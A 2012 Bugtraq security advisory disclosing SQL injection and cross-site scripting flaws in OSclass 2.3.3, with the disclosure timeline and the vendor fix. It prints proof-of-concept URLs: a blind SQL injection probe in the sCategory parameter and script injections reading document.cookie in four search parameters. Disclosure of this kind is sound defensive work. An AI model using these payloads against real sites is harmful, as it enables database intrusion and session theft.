bugtraq - Multiple vulnerabilities in OSclass

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Date: Wed, 25 Jan 2012 14:38:03 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: Multiple vulnerabilities in OSclass

Advisory ID: HTB23068
Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_osclass.html
Product: OSclass
Vendor: osclass.org ( http://osclass.org/ ) 
Vulnerable Version: 2.3.3 and probably prior
Tested Version: 2.3.3
Vendor Notification: 04 January 2012 
Vendor Patch: 16 January 2012 
Vulnerability Type: SQL Injection, XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk Level: High 
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ ) 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in OSclass, which can be exploited to perform cross-site scripting and sql injection attacks.

1) SQL Injection in OSclass

Input passed via the "sCategory" GET parameter to /index.php is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC code is available:

http://[host]/index.php?page=search&sCategory[]=0%27%20OR%20%28SELECT%20MID%28version%28%29,1,1%29%29=5%29%20d%20--%202

Successful exploitation of the vulnerability requires that "magic_quotes_gpc" is off.

2) Cross-Site Scripting in OSclass

Input passed via the "sCity", "sPattern", "sPriceMax", "sPriceMin" GET parameters to /index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

http://[host]/index.php?page=search&sCity=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/index.php?page=search&sPattern=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/index.php?page=search&sPriceMax=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/index.php?page=search&sPriceMin=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Solution:

Upgrade to OSClass 2.3.5

More information:
http://osclass.org/2012/01/16/osclass-2-3-5/

Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.